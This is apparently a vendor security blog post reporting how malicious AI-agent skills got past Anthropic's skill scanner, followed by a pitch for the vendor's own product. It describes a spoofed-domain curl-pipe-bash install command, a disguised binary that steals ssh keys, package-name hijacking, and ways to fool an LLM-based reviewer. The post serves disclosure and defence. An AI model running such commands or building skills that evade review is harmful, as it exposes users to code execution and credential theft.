Scan me, Scan me not: Anthropic Built A Skill Scanner. We let Claude bypass it in 7 minutes.

We sneaked malicious skills past Anthropic's new built-in skill and plugin security scanner, released on August 6. Our research team ran thousands of skills through it, and consistently managed to get the scanner to mark malicious skills as safe using familiar techniques. This is because Anthropic’s scanner is architecturally just more of the same: using one-time, static analysis, and therefore ineffective against attack vectors targeting external resources or utilizing complex behaviors.

The scanner

When a user uploads a skill in to ‘Organization skills’ in Claude, Anthropic's scanner reviews it and returns one of three verdicts, ‘Pass’, ‘Caution’, or ‘Block’, and a short stated reason.

Our reverse engineering suggests the scanner is made up of a static structural analyzer, which makes sure the skill is built as expected, plus an LLM that reviews the skills’ files for plausible risk. Nothing is sandboxed, and external references aren’t followed through.

To test the scanner, we ran our corpus of known-malicious skills through it. Alarmingly, a large share of malicious skills, built for remote code execution, data exfiltration, or credential theft, were marked as safe.

In the wild

One example of a real-world dangerous skill the scanner failed to flag is the Douyin skill we discussed previously. It’s an open-source skill with a PyPi dependency: nodriver-kit. On its README, it says that its source is anthropics/nodriver-kit , masquerading as an official Anthropic artifact. The truth is that nodriver-kit is an unclaimed package name on PyPi. An attacker could upload a malicious package by that name and poison the skill without touching it.

It wasn’t a one-off error.

The URL spoofing case

See how simple it was to make one malicious skill seem innocent.

We made notion-cli-helper, a malicious skill for using Notion CLI. The skill instructs the agent to first install the CLI by running curl -fsSL <https://ntn.sh> | bash. The real URL is ntn.dev, ntn.sh is a spoof domain that we own, that could serve malicious code to agents. Nonetheless, the scanner falls for it and marks this skill as safe. It’s not totally oblivious - it correctly flags other wrong URLs like ntm.dev, but a good enough spoof fools it.

During our investigation we ascertained the cause is that the scanner doesn’t follow external links, inspect what they serve, or sandboxes the skill. Instead, it tries to infer whether a URL looks benign from the string alone. Without actually checking out the linked resource, that’s extremely difficult to do robustly, leaving users exposed to exploitation of Untrusted External Instructions (AST05, OWASP Agentic Skills Top 10). Furthermore, even if the scanner did follow external links at scan time, without continuously rechecking them it would still remain oblivious to changes made later.

Behavior hiding in plain sight

Another blind spot the scanner has is with complex behavior and control flows. env-check is a skill we created that supposedly checks the environment meets some prerequisites, and ships with a binary that does the actual checking. Behind the scenes, that binary extracts the user’s ssh keys.

The scanner returns ‘Caution’  for any benign binary, meaning that when env-check gets ‘Caution’ as well, it’s drowned in the noise of legitimate skills that include binaries. It should have gotten a ‘Block’.

This happened because our binary was big, complicated, and included a lot of background noise, like many irrelevant functions and libraries. This can confuse an LLM trying to make sense of what’s going on, causing it to miss the malicious flow. If it observed how the skill behaves at runtime, by sandboxing it, it would’ve been immediately obvious - the behavior isn’t complicated, only the code is.

How skills slipped through the cracks

Most of the skills that managed to deceive the scanner used one of the bypass classes illustrated above:

• External dependencies: Skills can point to URLs, repos, packages, or other off-skill resources. At scan time, those references aren’t verified at all - the check is only whether the URL looks legitimate to the LLM. External resources expose a large attack surface, as we have previously shown.
• Opaque behavior: A skill can include complex behavior flows, which are nevertheless followed through at runtime - either by having compiled binaries, or simply many resources and decision points for the agent. These can be observed with dynamic analysis in a sandbox, but can be (and are) readily missed by an LLM statically reviewing the skill.

In the wild, we expect another weakness to allow malicious skills to slip through:

• Time of check/time of use. The verdict reflects only what the skill looks like at upload time. A skill can look benign during review and turn malicious after deployment, e.g. if an external dependency gets hijacked. In real-world use, this means that a ‘Pass’ verdict, even if it’s 100% accurate, does not offer full protection for when the skill will be used.

We believe these gaps are architectural, and solving them requires more than a better, more discerning model. It requires extra, dedicated, machinery.

What Air Filter brings to the table

Air Filter is exactly that solution, with a custom harness, detection flows and resources it’s able to protect against those attack vectors using the same Anthropic models, it can:

• Scan dependencies, check their credibility, and asses their vulnerability to hijacking‍
• Sandbox behaviour analysis - sandboxing skills to detect hidden behavior such as obfuscated code or semantically obfuscated prompts‍
• Flag malicious skills, but also well-meaning skills that are unsafely implemented, cross trust boundaries and might be unsafe for use in an enterprise environment

What security teams should take from this

No matter how well a one-time, static scan is implemented, it's fundamentally flawed: it struggles to evaluate complex behavior, and it cannot review critical but ever-changing external resources. In enterprise environments, where safe agent behavior is a must, security teams should make sure they pick scanners that protect them:

1. Scan continuously. A “Pass” is a snapshot of what a skill looked like at scan time, not a guarantee of what it does the next time it runs. Anything that fetches instructions, code, or data at runtime needs to be re-evaluated continuously, not just at upload.

2. Verify external resources. URLs, repos, and package references are critical to the skill's actual behavior. A skill's markdown can read as entirely benign while the instructions it actually follows, and the code it actually runs, live on the other side of a link. Verifying it means fetching and inspecting the content itself, not squinting your eyes at a URL.

3. Depth of security research matters. That a company with Anthropic’s resources still has these gaps is a testament to how hard these problems really are. The field is moving constantly, with new attack vectors and evasion techniques for agent skills developed all the time. Staying ahead of the curve takes a team always on the lookout for the next vulnerabilities and attack vectors before they show up in the wild.

^{See how Air Filter detects malicious add-ons in action:}